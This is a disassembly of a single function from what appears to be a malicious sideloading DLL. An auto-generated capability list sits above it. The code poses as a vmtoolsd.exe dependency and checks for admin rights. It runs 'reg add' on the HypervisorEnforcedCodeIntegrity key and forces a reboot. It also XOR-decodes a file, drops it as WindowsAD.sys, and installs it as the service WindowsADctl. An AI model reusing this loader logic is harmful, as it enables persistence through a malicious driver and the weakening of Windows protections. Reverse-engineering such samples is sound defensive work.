Function at 0x180001140
Capabilities:
Create service
Create thread
Execute command
Get token membership
Persist via windows service
Set registry value
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7d0], rax
cmp edx, 1
jne 0x18000161f
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str._vmapi.dll
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1800056c8], rax
test rax, rax
jne 0x180001204
lea r8, [rbp - 0x60]
lea rdx, [0x180003348]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, 0x10
lea r8, str.AheadLibEx
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, qword [0x1800056c8]
test rax, rax
je 0x180001635
lea rcx, str.g_module_build_path
call fcn.180001010
lea rcx, str.g_module_close
mov qword [0x1800056a8], rax
call fcn.180001010
lea rcx, str.g_module_error
mov qword [0x180005668], rax
call fcn.180001010
lea rcx, str.g_module_error_quark
mov qword [0x180005678], rax
call fcn.180001010
lea rcx, str.g_module_make_resident
mov qword [0x1800056b8], rax
call fcn.180001010
lea rcx, str.g_module_name
mov qword [0x1800056c0], rax
call fcn.180001010
lea rcx, str.g_module_name_utf8
mov qword [0x180005670], rax
call fcn.180001010
lea rcx, str.g_module_open
mov qword [0x180005698], rax
call fcn.180001010
lea rcx, str.g_module_open_full
mov qword [0x180005680], rax
call fcn.180001010
lea rcx, str.g_module_open_utf8
mov qword [0x1800056b0], rax
call fcn.180001010
lea rcx, str.g_module_supported
mov qword [0x180005690], rax
call fcn.180001010
lea rcx, str.g_module_symbol
mov qword [0x1800056a0], rax
call fcn.180001010
movups xmm0, xmmword [str.vmtoolsd.exe]
mov qword [0x180005688], rax
lea rcx, [rbp - 0x46]
movzx eax, word [0x180003540]
xor edx, edx
movaps xmmword [rbp - 0x60], xmm0
mov r8d, 0x1ee
movsd xmm0, qword [0x180003538]
movsd qword [rbp - 0x50], xmm0
mov word [rbp - 0x48], ax
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x180001635
xor r14d, r14d
lea r8, [0x1800010c0]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 0x220
mov dword [rbp - 0x70], r14d
mov rsi, rax
mov dword [rbp - 0x78], r14d
lea rax, [rbp - 0x80]
mov word [rbp - 0x74], 0x500
mov qword [rsp + 0x50], rax
lea r8d, [r14 + 0x20]
mov dword [rsp + 0x48], r14d
lea rcx, [rbp - 0x78]
mov dword [rsp + 0x40], r14d
mov dl, 2
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1800013ec
mov rdx, qword [rbp - 0x80]
lea r8, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1800013e2
mov dword [rbp - 0x70], r14d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x70], r14d
je 0x180001601
xor ecx, ecx
mov eax, 1
cpuid
test cl, 0x20
je 0x18000143f
mov r9d, 0x30
lea r8, str.VMTools
lea rdx, [0x1800034c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.reg_add__HKLMSYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity___v__Enabled___t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x180001635
lea rdx, [0x180003500]
lea rcx, str.need.dll
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
lea rdx, [0x180003504]
mov rbx, rax
lea rcx, [0x180003600]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
cmp eax, 0xffffffff
je 0x18000149e
nop dword [rax + rax]
xor eax, 0x1bf52
mov rdx, rdi
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
cmp eax, 0xffffffff
jne 0x180001480
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea r8, [rbp + 0x1b0]
mov edx, 0x104
lea rcx, str.C:_Windows_System32_drivers_WindowsAD.sys
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp + 0x1b0]
call fcn.180001670
mov rcx, rax
lea rdx, [0x180001850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x1800015f4
mov qword [rsp + 0x60], r14
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x58], r14
lea r8, str.WindowsADctl
mov qword [rsp + 0x50], r14
lea rdx, str.WindowsADctl
mov qword [rsp + 0x48], r14
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r14
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
test rax, rax
jne 0x18000158f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x18000158f
cmp eax, 0x431
jne 0x1800015f4
mov r8d, 0xf01ff
lea rdx, str.WindowsADctl
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1800015c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x1800015f4
test rdi, rdi
je 0x1800015d5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
test rsi, rsi
je 0x180001635
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001635
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov eax, 0xffffffff
jmp 0x18000163a
mov r9d, 0x30
lea r8, str.VMTools
lea rdx, [0x180003508]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x180001635
test edx, edx
jne 0x180001635
mov rcx, qword [0x1800056c8]
test rcx, rcx
je 0x180001635
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rbp + 0x7d0]
xor rcx, rsp
call fcn.180001960
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret